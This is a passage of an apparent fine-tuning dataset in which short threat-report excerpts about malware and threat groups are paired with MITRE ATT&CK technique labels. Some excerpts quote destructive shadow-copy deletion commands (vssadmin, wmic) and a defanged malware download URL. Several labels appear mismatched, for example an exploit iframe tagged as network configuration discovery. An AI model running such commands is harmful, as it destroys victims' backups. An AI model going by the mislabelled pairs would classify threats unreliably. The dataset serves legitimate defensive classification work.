                "content": "may collect active network connections by running netstat -an on a victim."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner can automatically launch at startup if the AutoStart option is enabled in the VBoxVmService configuration file."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic from  is encrypted, then encoded with Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have most definitely observed Kimsuky targeting specific individuals — in fact, up to the present moment — even going as far as registering Internet domains containing the individual targets' names, the PwC analyst said"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can use base64 encoding, string stacking, and opaque predicates for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to communicate over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's CredRaptor tool can collect saved passwords from various internet browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon checks the running processes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the wiping procedure, the malware tries to delete the shadow copies by running the following commands: vssadmin.exe delete shadows /all /quiet **and **C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete. Finally, the malware enters an infinite loop where it sleeps based on the is_alive_loop_interval value from the configuration file and writes \"Meteor is still alive"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has used HTTPS over ports 2083 and 2087 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then the article describes how, since the beginning of 2019, the group has been leveraging self-extracting archives to run code"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can record keystrokes from both the keyboard and virtual keyboard."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors have used DLL side-loading. Actors have used legitimate Kaspersky anti-virus variants in which the DLL acts as a stub loader that loads and executes the shell code."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp encrypts its configuration and payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can perform Registry operations."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implementation details of Seaduke also have some similarities to WellMess, as both use encrypted cookies to transfer metadata about the data being sent and use obfuscated base64 data in HTTP requests as the contents of communications. These techniques are not unique to Blue Kitsune but provide an interesting correlation between the WellMess backdoor and Blue Kitsune tools used since 2015"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Version.dll and jucheck.exe are both important pieces of the execution chain used to launch BOOMMIC. Jucheck.exe is a legitimate java binary used to check for any updates. This file will load version.dll upon its execution. Version.dll is an unsigned and modified copy of a signed legitimate Windows DLL, normally found under %SYSTEMROOT%\\System32, but retains its PE header. An additional import was added to the modified version.dll, which imports the malicious function from javafx_font.dll."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, and net config commands."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has been delivered as password-protected zipped ISO files and used control-flow-flattening to obfuscate the flow of functions."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands. Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has been distributed as HTA files with JScript."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mandiant identified a campaign where the threat actors gained access to the target organization’s Microsoft 365 environment using a stolen session token. Mandiant analyzed the workstations belonging to the end user and discovered that some systems had been infected with CRYPTBOT, an info-stealer malware, shortly before the stolen session token was generated. Mandiant observed that in some cases the user downloaded the malware after browsing to low reputation websites offering free, or “cracked”, software."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has used \"cmd.exe /c\" and batch files for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla RPC backdoors can be used to transfer files to/from victim machines on the local network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target. The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows has the ability to encrypt and compress its payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can record sound using input audio devices."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a victim,  lists all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the VBScript has been decoded it reveals a rather complex set of functions. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has gained execution through users opening malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon establishes persistence in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal:   Figure 28. Commands used for downloading and executing, and running a command in terminal   Figure 29. Commands used in uploading and downloading file Figure 30"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) As shown in Figure 10, the unpacked JavaScript code reveals an iframe pointing to an IP address that is hosting the exploit"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, after the initial beaconing, receiving a configuration, and exfiltrating stolen information from the infected machine, AZORult may download the next payload. For example, in the campaign described at the beginning of this post, AZORult downloads Hermes 2.1 ransomware after it exfiltrates the victim’s data and credentials"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession has the ability to modify a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM creates an RSA-2048 public and private key pair. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys. The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files. For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file. DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file. The analyzed DEATHRANSOM sample used for comparison does not change the file extension"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess has used Base64 encoding to uniquely identify communication to and from the C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has masqueraded as VMware.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve has the ability to download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker's custom crypter, CryptOne, leveraged the VirtualAlloc() API function to help execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, Threat Group-3390 malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba loaded the payload into memory using PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can use `cmd.exe` to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data. It also enables non-blocking I/O for the writing file descriptor by using ioctl"
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has conducted watering holes schemes to gain initial access to victims."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used compromised credentials to sign into victims’ Microsoft 365 accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge. The redirect code was set up in the same way as CVE-2020-1380, the only difference being the exploit code used. The key part of the exploit code used is given in Figures 3 and 4"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has deleted files on infected machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has been modified to be used as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can use the Windows COM API to schedule tasks and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uid= and writes a JSS Loader binary to %TEMP%\\PaintHelper.exe. JSS Loader, which has both .NET and C++ versions, has multiple capabilities, including the ability to load additional executables, PowerShell (PS) and JavaScript (JS) files"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1105 - Ingress Tool Transfer', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) User must open the Microsoft Word email attachment 2) User must scroll to page three of the document, which will run the DealersChoice Flash object 3) The Flash object must contact an active C2 server to download an additional Flash object containing exploit code 4) The initial Flash object must contact the same C2 server to download a secondary payload 5) Victim host must have a vulnerable version of Flash installed"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC)."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke. APT29 also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can use a list of hardcoded credentials in attempt to authenticate to SMB shares."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has staged malware on actor-controlled domains."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinoxy has encrypted its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has encrypted C2 commands with AES-256."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More interesting however is it that it also contains support for windows execution via smb shares and IPC. The sample also has a Windows version of the malware embedded inside that it can install on remote windows shares and then execute as a service"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti ransomware stops up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
